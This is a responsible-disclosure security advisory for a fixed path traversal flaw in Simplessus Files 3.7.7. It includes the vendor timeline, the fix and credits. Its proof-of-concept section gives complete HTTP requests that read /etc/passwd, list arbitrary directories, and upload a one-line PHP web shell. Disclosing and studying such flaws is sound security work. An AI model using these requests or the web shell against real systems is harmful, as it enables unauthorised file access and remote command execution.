Simplessus Files 3.7.7 Path Traversal

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Hash: SHA256  
  
Advisory ID: SYSS-2017-004  
Product: Simplessus Files  
Manufacturer: Simplessus  
Affected Version(s): 3.7.7  
Tested Version(s): 3.7.7  
Vulnerability Type: Path Traversal (CWE-22)   
Risk Level: High  
Solution Status: Fixed  
Manufacturer Notification: January 25, 2017  
Solution Date: January 25, 2017  
Public Disclosure: February 16, 2017  
CVE Reference: Not yet assigned  
Author of Advisory: Dr. Adrian Vollmer, SySS GmbH  
  
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Product overview:  
  
Simplessus Files is a file sharing web application.  
  
The manufacturer describes the product as follows (see [1]):  
  
Simplessus Files is a simple software solution to exchange files and  
documents over the internet. No more file sharing via e-mail, FTP or  
CD-ROM with Simplessus Files replace very large files online easily.  
  
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Vulnerability overview:  
  
Due to insufficient filtering of user controlled input, Simplessus Files is  
vulnerable to a path traversal weakness.  
  
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Vulnerability Details:  
  
It is an obvious feature that users of the web application can download and  
upload files and list directories. However, this should be restricted to  
their own files and directories. Simplessus Files allows path traversal such  
that any user can read and write any file that the system user which owns  
the web server process has access to.  
  
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Proof of Concept (PoC):  
  
The following request can be used to read the file /etc/passwd:  
  
  
POST /?action=FS&download=1 HTTP/1.1  
Host: <HOSTNAME>  
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 110  
  
cmd=download&path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  
  
  
The following request can be used to upload files to arbirtray directories  
in the file system (assuming www-data has write permissions):  
  
  
POST /?action=FS&upload=1 HTTP/1.1  
Host: <HOSTNAME>  
Content-Length: 899  
Content-Type: multipart/form-data; boundary=---------------------------2005325381163152094834751695  
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2  
Connection: close  
  
- -----------------------------2005325381163152094834751695  
Content-Disposition: form-data; name="name"  
  
o_1b6c3dbioah31hb0ijs5f911cja.png  
- -----------------------------2005325381163152094834751695  
Content-Disposition: form-data; name="chunk"  
  
0  
- -----------------------------2005325381163152094834751695  
Content-Disposition: form-data; name="chunks"  
  
1  
- -----------------------------2005325381163152094834751695  
Content-Disposition: form-data; name="path"  
  
fs/player2/TEST/../../../../../../../../../var/www/writeabledir/  
- -----------------------------2005325381163152094834751695  
Content-Disposition: form-data; name="fname"  
  
ox2wdkplp3biex-syss.php  
- -----------------------------2005325381163152094834751695  
Content-Disposition: form-data; name="file"; filename="test"  
Content-Type: image/png  
  
<?php system($_REQUEST['c'])?>  
- -----------------------------2005325381163152094834751695--  
  
  
The following request can be used to list all files inside any directory in  
the file system:  
  
POST /?action=FS&folder_content=1 HTTP/1.1  
Host: <HOSTNAME>  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 90  
Cookie: UWA_SID=0b2jre4jk217uegjso2qmabrm1; UWA_username=player2  
Connection: close  
  
userId=0&nodePath=fs%2Fplayer2%2FTEST/../../../../../../../../etc/&dummy=dummy  
  
  
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Solution:  
  
Update to software version to 3.8.3.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2017-01-13: Vulnerability discovered  
2017-01-25: Vulnerability reported  
2017-01-25: Vendor confirmation  
2017-02-15: Public disclosure  
  
  
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References:  
  
[1] Product website for Simplessus Files  
http://files.simplessus.com  
[2] SySS Security Advisory SYSS-2017-004  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-004.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/news/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Dr. Adrian Vollmer of SySS GmbH.  
  
E-Mail: [email protected]  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian_Vollmer.asc  
Key ID: 0x037C9FE7  
Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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